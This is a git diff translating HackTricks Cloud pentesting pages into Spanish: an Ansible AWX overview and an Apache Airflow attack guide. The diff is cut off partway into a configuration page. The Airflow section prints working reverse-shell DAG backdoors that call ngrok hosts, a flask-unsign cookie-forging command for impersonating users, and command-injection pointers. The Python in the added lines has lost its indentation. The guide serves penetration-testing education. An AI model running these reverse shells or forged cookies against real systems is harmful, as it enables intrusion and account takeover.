diff --git a/src/README.md b/src/README.md index 01b146fd1..09a62fcc1 100644 --- a/src/README.md +++ b/src/README.md @@ -6,35 +6,31 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Los logotipos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> Bienvenido a la página donde encontrarás cada **truco/técnica/lo que sea relacionado con CI/CD y Cloud** que he aprendido en **CTFs**, **entornos** de **vida** **real**, **investigando** y **leyendo** investigaciones y noticias. -### **Pentesting CI/CD Methodology** +### **Metodología de Pentesting CI/CD** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**En la Metodología de CI/CD de HackTricks encontrarás cómo hacer pentesting a la infraestructura relacionada con actividades de CI/CD.** Lee la siguiente página para una **introducción:** [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) -### Pentesting Cloud Methodology +### Metodología de Pentesting Cloud -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**En la Metodología de Cloud de HackTricks encontrarás cómo hacer pentesting a entornos de cloud.** Lee la siguiente página para una **introducción:** [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) -### License & Disclaimer +### Licencia y Descargo de Responsabilidad -**Check them in:** +**Consúltalos en:** -[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) +[Valores y FAQ de HackTricks](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) -### Github Stats +### Estadísticas de Github -![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) +![Estadísticas de Github de HackTricks Cloud](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..5f1179666 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> Apoya a HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..2051794c0 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,63 +1,62 @@ -# Ansible Tower / AWX / Automation controller Security +# Ansible Tower / AWX / Seguridad del controlador de automatización {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** o su versión de código abierto [**AWX**](https://github.com/ansible/awx) también se conoce como **la interfaz de usuario, el panel de control y la API REST de Ansible**. Con **control de acceso basado en roles**, programación de trabajos y gestión gráfica de inventarios, puedes gestionar tu infraestructura de Ansible desde una interfaz moderna. La API REST de Tower y la interfaz de línea de comandos facilitan su integración en herramientas y flujos de trabajo actuales. -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**El Controlador de Automatización es una versión más nueva** de Ansible Tower con más capacidades. -### Differences +### Diferencias -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +Según [**esto**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), las principales diferencias entre Ansible Tower y AWX son el soporte recibido y que Ansible Tower tiene características adicionales como control de acceso basado en roles, soporte para API personalizadas y flujos de trabajo definidos por el usuario. -### Tech Stack +### Stack Tecnológico -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Interfaz Web**: Esta es la interfaz gráfica donde los usuarios pueden gestionar inventarios, credenciales, plantillas y trabajos. Está diseñada para ser intuitiva y proporciona visualizaciones para ayudar a entender el estado y los resultados de tus trabajos de automatización. +- **API REST**: Todo lo que puedes hacer en la interfaz web, también puedes hacerlo a través de la API REST. Esto significa que puedes integrar AWX/Tower con otros sistemas o script acciones que normalmente realizarías en la interfaz. +- **Base de Datos**: AWX/Tower utiliza una base de datos (típicamente PostgreSQL) para almacenar su configuración, resultados de trabajos y otros datos operativos necesarios. +- **RabbitMQ**: Este es el sistema de mensajería utilizado por AWX/Tower para comunicarse entre los diferentes componentes, especialmente entre el servicio web y los ejecutores de tareas. +- **Redis**: Redis sirve como caché y backend para la cola de tareas. -### Logical Components +### Componentes Lógicos -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Inventarios**: Un inventario es una **colección de hosts (o nodos)** contra los cuales se pueden **ejecutar trabajos** (playbooks de Ansible). AWX/Tower te permite definir y agrupar tus inventarios y también admite inventarios dinámicos que pueden **obtener listas de hosts de otros sistemas** como AWS, Azure, etc. +- **Proyectos**: Un proyecto es esencialmente una **colección de playbooks de Ansible** obtenidos de un **sistema de control de versiones** (como Git) para extraer los últimos playbooks cuando sea necesario. +- **Plantillas**: Las plantillas de trabajo definen **cómo se ejecutará un playbook en particular**, especificando el **inventario**, **credenciales** y otros **parámetros** para el trabajo. +- **Credenciales**: AWX/Tower proporciona una forma segura de **gestionar y almacenar secretos, como claves SSH, contraseñas y tokens de API**. Estas credenciales pueden asociarse con plantillas de trabajo para que los playbooks tengan el acceso necesario cuando se ejecuten. +- **Motor de Tareas**: Aquí es donde ocurre la magia. El motor de tareas está construido sobre Ansible y es responsable de **ejecutar los playbooks**. Los trabajos se envían al motor de tareas, que luego ejecuta los playbooks de Ansible contra el inventario designado utilizando las credenciales especificadas. +- **Programadores y Retornos de Llamada**: Estas son características avanzadas en AWX/Tower que permiten **programar trabajos** para que se ejecuten en momentos específicos o se activen por eventos externos. +- **Notificaciones**: AWX/Tower puede enviar notificaciones basadas en el éxito o fracaso de los trabajos. Soporta varios medios de notificación como correos electrónicos, mensajes de Slack, webhooks, etc. +- **Playbooks de Ansible**: Los playbooks de Ansible son herramientas de configuración, implementación y orquestación. Describen el estado deseado de los sistemas de manera automatizada y repetible. Escritos en YAML, los playbooks utilizan el lenguaje de automatización declarativa de Ansible para describir configuraciones, tareas y pasos que deben ejecutarse. -### Job Execution Flow +### Flujo de Ejecución de Trabajos -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. -2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. -3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. -4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. -5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. -6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +1. **Interacción del Usuario**: Un usuario puede interactuar con AWX/Tower a través de la **Interfaz Web** o la **API REST**. Estas proporcionan acceso frontal a todas las funcionalidades ofrecidas por AWX/Tower. +2. **Iniciación del Trabajo**: +- El usuario, a través de la Interfaz Web o API, inicia un trabajo basado en una **Plantilla de Trabajo**. +- La Plantilla de Trabajo incluye referencias al **Inventario**, **Proyecto** (que contiene el playbook) y **Credenciales**. +- Al iniciar el trabajo, se envía una solicitud al backend de AWX/Tower para poner el trabajo en cola para su ejecución. +3. **Colocación en Cola del Trabajo**: +- **RabbitMQ** maneja la mensajería entre el componente web y los ejecutores de tareas. Una vez que se inicia un trabajo, se envía un mensaje al motor de tareas utilizando RabbitMQ. +- **Redis** actúa como el backend para la cola de tareas, gestionando los trabajos en cola que esperan ejecución. +4. **Ejecución del Trabajo**: +- El **Motor de Tareas** recoge el trabajo en cola. Recupera la información necesaria de la **Base de Datos** sobre el playbook asociado al trabajo, inventario y credenciales. +- Usando el playbook de Ansible recuperado del **Proyecto** asociado, el Motor de Tareas ejecuta el playbook contra los nodos de **Inventario** especificados utilizando las **Credenciales** proporcionadas. +- A medida que se ejecuta el playbook, su salida de ejecución (registros, hechos, etc.) se captura y almacena en la **Base de Datos**. +5. **Resultados del Trabajo**: +- Una vez que el playbook termina de ejecutarse, los resultados (éxito, fracaso, registros) se guardan en la **Base de Datos**. +- Los usuarios pueden ver los resultados a través de la Interfaz Web o consultarlos a través de la API REST. +- Según los resultados del trabajo, se pueden enviar **Notificaciones** para informar a los usuarios o sistemas externos sobre el estado del trabajo. Las notificaciones pueden ser correos electrónicos, mensajes de Slack, webhooks, etc. +6. **Integración con Sistemas Externos**: +- **Inventarios** pueden ser obtenidos dinámicamente de sistemas externos, permitiendo que AWX/Tower extraiga hosts de fuentes como AWS, Azure, VMware y más. +- **Proyectos** (playbooks) pueden ser extraídos de sistemas de control de versiones, asegurando el uso de playbooks actualizados durante la ejecución del trabajo. +- **Programadores y Retornos de Llamada** pueden ser utilizados para integrarse con otros sistemas o herramientas, haciendo que AWX/Tower reaccione a disparadores externos o ejecute trabajos en momentos predeterminados. -### AWX lab creation for testing - -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: +### Creación de laboratorio AWX para pruebas +[**Siguiendo la documentación**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) es posible usar docker-compose para ejecutar AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC -### Supported roles +### Roles soportados -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +El rol más privilegiado se llama **Administrador del Sistema**. Cualquiera con este rol puede **modificar cualquier cosa**. -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +Desde una revisión de **seguridad de caja blanca**, necesitarías el **rol de Auditor del Sistema**, que permite **ver todos los datos del sistema** pero no puede hacer ningún cambio. Otra opción sería obtener el **rol de Auditor de la Organización**, pero sería mejor obtener el otro.
-Expand this to get detailed description of available roles +Expande esto para obtener una descripción detallada de los roles disponibles -1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. -2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. -3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. -4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). -5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. -6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. -7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. -8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. -9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +1. **Administrador del Sistema**: +- Este es el rol de superusuario con permisos para acceder y modificar cualquier recurso en el sistema. +- Pueden gestionar todas las organizaciones, equipos, proyectos, inventarios, plantillas de trabajo, etc. +2. **Auditor del Sistema**: +- Los usuarios con este rol pueden ver todos los datos del sistema pero no pueden hacer ningún cambio. +- Este rol está diseñado para cumplimiento y supervisión. +3. **Roles de Organización**: +- **Admin**: Control total sobre los recursos de la organización. +- **Auditor**: Acceso solo de lectura a los recursos de la organización. +- **Miembro**: Membresía básica en una organización sin permisos específicos. +- **Ejecutar**: Puede ejecutar plantillas de trabajo dentro de la organización. +- **Leer**: Puede ver los recursos de la organización. +4. **Roles de Proyecto**: +- **Admin**: Puede gestionar y modificar el proyecto. +- **Usar**: Puede usar el proyecto en una plantilla de trabajo. +- **Actualizar**: Puede actualizar el proyecto usando SCM (control de versiones). +5. **Roles de Inventario**: +- **Admin**: Puede gestionar y modificar el inventario. +- **Ad Hoc**: Puede ejecutar comandos ad hoc en el inventario. +- **Actualizar**: Puede actualizar la fuente del inventario. +- **Usar**: Puede usar el inventario en una plantilla de trabajo. +- **Leer**: Acceso solo de lectura. +6. **Roles de Plantilla de Trabajo**: +- **Admin**: Puede gestionar y modificar la plantilla de trabajo. +- **Ejecutar**: Puede ejecutar el trabajo. +- **Leer**: Acceso solo de lectura. +7. **Roles de Credenciales**: +- **Admin**: Puede gestionar y modificar las credenciales. +- **Usar**: Puede usar las credenciales en plantillas de trabajo u otros recursos relevantes. +- **Leer**: Acceso solo de lectura. +8. **Roles de Equipo**: +- **Miembro**: Parte del equipo pero sin permisos específicos. +- **Admin**: Puede gestionar a los miembros del equipo y los recursos asociados. +9. **Roles de Flujo de Trabajo**: +- **Admin**: Puede gestionar y modificar el flujo de trabajo. +- **Ejecutar**: Puede ejecutar el flujo de trabajo. +- **Leer**: Acceso solo de lectura.
{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..dfe7e7880 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -1,23 +1,22 @@ -# Apache Airflow Security +# Seguridad de Apache Airflow {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### Información Básica -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) sirve como una plataforma para **orquestar y programar tuberías de datos o flujos de trabajo**. El término "orquestación" en el contexto de las tuberías de datos significa el proceso de organizar, coordinar y gestionar flujos de trabajo de datos complejos que provienen de diversas fuentes. El propósito principal de estas tuberías de datos orquestadas es proporcionar conjuntos de datos procesados y consumibles. Estos conjuntos de datos son utilizados extensamente por una multitud de aplicaciones, incluyendo, pero no limitado a, herramientas de inteligencia empresarial, modelos de ciencia de datos y aprendizaje automático, todos los cuales son fundamentales para el funcionamiento de aplicaciones de big data. -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +Básicamente, Apache Airflow te permitirá **programar la ejecución de código cuando algo** (evento, cron) **suceda**. -### Local Lab +### Laboratorio Local #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno docker completo de apache airflow. (Si estás en MacOS, asegúrate de darle al menos 6GB de RAM a la VM de docker). #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +Una forma fácil de **ejecutar apache airflow** es ejecutarlo **con minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` +### Configuración de Airflow -### Airflow Configuration - -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflow podría almacenar **información sensible** en su configuración o puedes encontrar configuraciones débiles en su lugar: {{#ref}} airflow-configuration.md {{#endref}} -### Airflow RBAC +### RBAC de Airflow -Before start attacking Airflow you should understand **how permissions work**: +Antes de comenzar a atacar Airflow, deberías entender **cómo funcionan los permisos**: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### Ataques -#### Web Console Enumeration +#### Enumeración de la Consola Web -If you have **access to the web console** you might be able to access some or all of the following information: +Si tienes **acceso a la consola web**, podrías acceder a parte o toda la siguiente información: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Variables** (Información sensible personalizada podría estar almacenada aquí) +- **Conexiones** (Información sensible personalizada podría estar almacenada aquí) +- Acceder a ellas en `http:///connection/list/` +- [**Configuración**](./#airflow-configuration) (Información sensible como el **`secret_key`** y contraseñas podría estar almacenada aquí) +- Listar **usuarios y roles** +- **Código de cada DAG** (que podría contener información interesante) -#### Retrieve Variables Values +#### Recuperar Valores de Variables -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +Las variables pueden ser almacenadas en Airflow para que los **DAGs** puedan **acceder** a sus valores. Es similar a los secretos de otras plataformas. Si tienes **suficientes permisos**, puedes acceder a ellas en la GUI en `http:///variable/list/`.\ +Airflow por defecto mostrará el valor de la variable en la GUI, sin embargo, de acuerdo a [**esto**](https://marclamberti.com/blog/variables-with-apache-airflow/), es posible establecer una **lista de variables** cuyo **valor** aparecerá como **asteriscos** en la **GUI**. ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +Sin embargo, estos **valores** aún pueden ser **recuperados** a través de **CLI** (necesitas tener acceso a la base de datos), ejecución de **DAG** **arbitrarios**, **API** accediendo al endpoint de variables (la API necesita estar activada), y **¡incluso la propia GUI!**\ +Para acceder a esos valores desde la GUI, simplemente **selecciona las variables** que deseas acceder y **haz clic en Acciones -> Exportar**.\ +Otra forma es realizar un **bruteforce** al **valor oculto** utilizando el **filtro de búsqueda** hasta que lo obtengas: ![](<../../images/image (152).png>) -#### Privilege Escalation - -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. +#### Escalación de Privilegios +Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con este válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG Backdoor (RCE en el trabajador de Airflow) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes simplemente **crear uno** que te enviará un **reverse shell.**\ +Ten en cuenta que este reverse shell se ejecutará dentro de un **contenedor de trabajador de airflow**: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG Backdoor (RCE en el programador de Airflow) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de colocarlo dentro de la carpeta del DAG. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### Creación de DAG -#### DAG Creation +Si logras **comprometer una máquina dentro del clúster DAG**, puedes crear nuevos **scripts de DAG** en la carpeta `dags/` y serán **replicados en el resto de las máquinas** dentro del clúster DAG. -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### Inyección de Código en DAG -#### DAG Code Injection +Cuando ejecutas un DAG desde la GUI puedes **pasar argumentos** a él.\ +Por lo tanto, si el DAG no está correctamente codificado, podría ser **vulnerable a Inyección de Comandos.**\ +Eso es lo que ocurrió en este CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +Todo lo que necesitas saber para **comenzar a buscar inyecciones de comandos en DAGs** es que los **parámetros** son **accedidos** con el código **`dag_run.conf.get("param_name")`**. +Además, la misma vulnerabilidad podría ocurrir con **variables** (ten en cuenta que con suficientes privilegios podrías **controlar el valor de las variables** en la GUI). Las variables son **accedidas con**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +Si se utilizan, por ejemplo, dentro de un comando bash, podrías realizar una inyección de comandos. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..4e90df4a6 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ 